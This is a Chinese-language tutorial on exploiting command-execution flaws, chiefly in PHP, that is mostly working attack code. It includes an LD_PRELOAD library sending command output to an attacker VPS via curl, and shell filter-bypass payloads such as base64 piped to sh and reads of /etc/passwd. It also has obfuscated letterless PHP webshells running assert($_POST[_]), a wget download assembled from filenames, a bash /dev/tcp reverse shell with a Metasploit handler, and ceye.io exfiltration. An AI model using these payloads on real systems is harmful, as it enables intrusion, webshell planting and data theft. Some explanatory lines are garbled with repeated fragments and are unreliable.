一、命令执行介绍
1、命令执行漏洞原理
命令执行漏洞定义:Web应用程序接收用户输入,拼接到要执行的系统命令中执行。产生原因:1、用户输入未过滤或净化;2、拼接到系统命令中执行。
2、PHP下命令执行函数
在PHP中具有执行系统命令功能的函数如下:
1、system
2、exec
3、shell_exec
4、passthru
5、popen
6、proc_popen
7、`反引号
8、ob_start
9、mail函数+LD_PRELOAD执行系统命令
使用示例:
LD_PRELOAD:
LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。
//a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){
void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
//编译
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
//mail.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>
监听vps的4123端口,访问mail.php。
ob_start:
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
1234
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data
提示:某些情况下,要注意存在以上函数的php文件,有可能是Webshell。
注:使用PHP.EXE传递参数时,如果有空格,一般在Windows 下使用双引号(“”), Linux 下使用单引号(’)括起来,否则将无法正常执行。
<?php
echo " if(isset($_GET["cmd"])){
system($_GET["cmd"]);
}
echo "</pre>";
?>
二、命令执行漏洞基础
1、Windows命令执行漏洞利用技巧
思路:截断输入,重新拼接。两条命令都输入并执行。
1.1、命令执行漏洞拼接符介绍
在Windows系统下的 cmd命令中,有以下一些截断拼接符。
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
2、命令拼接
whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行
但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行
可以加任意个"但不能同时连续加2个^ 符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
set命令
知识点:用两个 % 括起来的变量,会输出变量的值
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
切割字符
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行
set a=abc qwe //先自定义
wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
2、Linux命令执行漏洞利用技巧
2.1、命令执行漏洞拼接符介绍
在Linux系统下的shell命令中,有以下一些截断拼接符。
在Linux上,上面的;也可以用|、||代替
;前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数
||当前面的执行出错时执行后面的
& 无论前边语句真假都会执行
&& 只有前边语句为真,才会执行后边语句
%0a
%0d
& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。
命令终止符
%00
%20#
2.2、命令拼接
a=who
b=ami
$a$b //输出whoami
对于文件夹的内容,使用$(printf "路径")代替路径
利用环境变量
可以通过截取不同的字符执行命令
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
2.3、空格绕过
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09
这里解释一下 I F S , {IFS}, IFS,IFS,$IFS 9 的区别,首先 9的区别,首先 9的区别,首先IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat I F S 2 , b a s h 解释器会把整个 I F S 2 当做变量名,所以导致输不出来结果,然而如果加一个 就固定了变量名,同理在后面加个 IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个 IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个就固定了变量名,同理在后面加个可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!
2.4、绕过关键字
反斜线绕过
wh\o\ami
双引号绕过
who"a"mi
单引号绕过
whoa'm'i
反引号绕过
whoam``i
base64绕过
echo d2hvYW1p|base64 -d|sh 其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash 其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` 将其base64解码,然后用反引号来执行命令
hex绕过
echo 77686F616D69 | xxd -r -p | bash 其中77686F616D69是whoami的hex编码
特殊字符绕过
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
#cat被过滤时,还可以考虑使用tac命令
cat$x /etc/passwd
重命名文件绕过
linux下创建文件的命令可以用1>1创建文件名为1的空文件
进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。
ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n
有了这个基础我们再来看这道题
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
简单的代码,可以利用
1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来
然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序
ls -t>a
网络地址转化为数字地址
网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者[http://0x7F000001]这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp
2.5、骚操作
//字符夹命令
666`whoami`666 //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间
//命令夹字符
w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接
上述的是既可以绕过命令,又可以绕过文件名的,下述的则是只能用来绕过文件名的:
cat fl[abc]g.php //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行
//正则
利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
2.6、命令执行函数绕过
system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
3、Java 命令执行
这里之所以叫作Java 命令执行,是因为Java 体系非常庞大,其中包括:Java SE、Java EE、Java ME。而无论是分支还是框架,都是以Java SE 为基础的。
在Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少)。下面以 Runtime类为例进行说明。
模型代码如下
import java. io.InputStream; //导包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
public static void main (String args []) throws Exception{
if (args.length==0) {
System.exit(1); //没有参数就退出
}
String command = args[0];
Runtime run = Runtime.getRuntime();
Process pro = run. exec(command); //执行命令
InputStreamReader in = new InputStreamReader(pro.getInputStream());
BufferedReader buff = new BufferedReader(in);
for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
System.out.println(temp); //输出结果
}
buff .close();
in.close();
}
}
上面的代码经过编译后可以执行命令操作,如:java RuntimeTest “whoami”,执行命令操作。
如果程序开发人员没有正确地使用Runtime 类,就有可能造成Java 命令执行漏洞。像有名的Struts2 框架就存在命令执行漏洞。
三、命令执行高级技巧
1、无数字和字母的webshell
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
1.1、字符串执行异或绕过
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
1.2、位运算里的“取反”绕过
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s:
echo ~('瞰'{1}); 输出:a
echo ~('和'{2}); 输出:s
echo ~('的'{1}); 输出:e
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2。
1.3、利用自增运算符
在处理字符变量的算数运算时,PHP沿袭了Perl 的习惯,而非C的。例如,在Perl中$a= ‘Z’; a + + ; 将把 a++;将把 a++;将把a变成AA’,而在C中,a= ‘Z’;a++;将把a变成中’[’ (‘Z’ 的ASCII值是90,'['的ASCII值是91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效,原字符串没有变化。
'a'++ => 'b','b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
1.4、通配符
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
PHP7
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。
构造一个可以生成phpinfo这个字符串的PHP表达式
(~%8F%97%8F%96%91%99%90)();
PHP5
Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。
我们可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档
1.shell下可以利用.来执行任意脚本
2.Linux文件名支持用glob通配符代替
12
*可以代替0个及以上任意字符
?可以代表1个任意字符
例如ls命令我们可以通过以下语法代替执行:
/???/?s --help
但/tmp/phpXXXXXX就可以表示为/*/???或/???/???,能够匹配上这个通配符的文件有很多
glob支持用x的方法来构造“这个位置不是字符x”。
排除了第4个字符是-的文件
利用[@-[]来表示大写字母
。。。。。。
2、处理无回显的命令执行
2.1、利用自己的vps
2.1.1、是利用bash命令并在本地进行nc监听结果查看回连日志
先在vps处用nc进行监听
nc -l -p 8080 -vvv
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
2.1.2、msg反向回连
同样vps用msg监听
vps的msf监听:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
2.2、利用ceye平台
记录在http request中
题目地址
http://192.168.10.55/
后台源码
<?php
$a = $_GET['id'];
system("$a");
?>
payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。
记录在dns query中
DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。
在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。
ping `whoami`.******.ceye.io
上面这条命令最终在ping的时候ping的是“root.**.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。
所以这种方法的使用必须有ping命令。
四、命令执行自动化工具基本使用
1、commix工具
Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。
项目地址:https://github.com/stasinopoulos/commix
在Kali linux自带了commix可以直接使用
commix -u http://192.168.1.106/cmd3.php?cmd=127.0.0.1
该文章在 2023/12/13 18:49:41 编辑过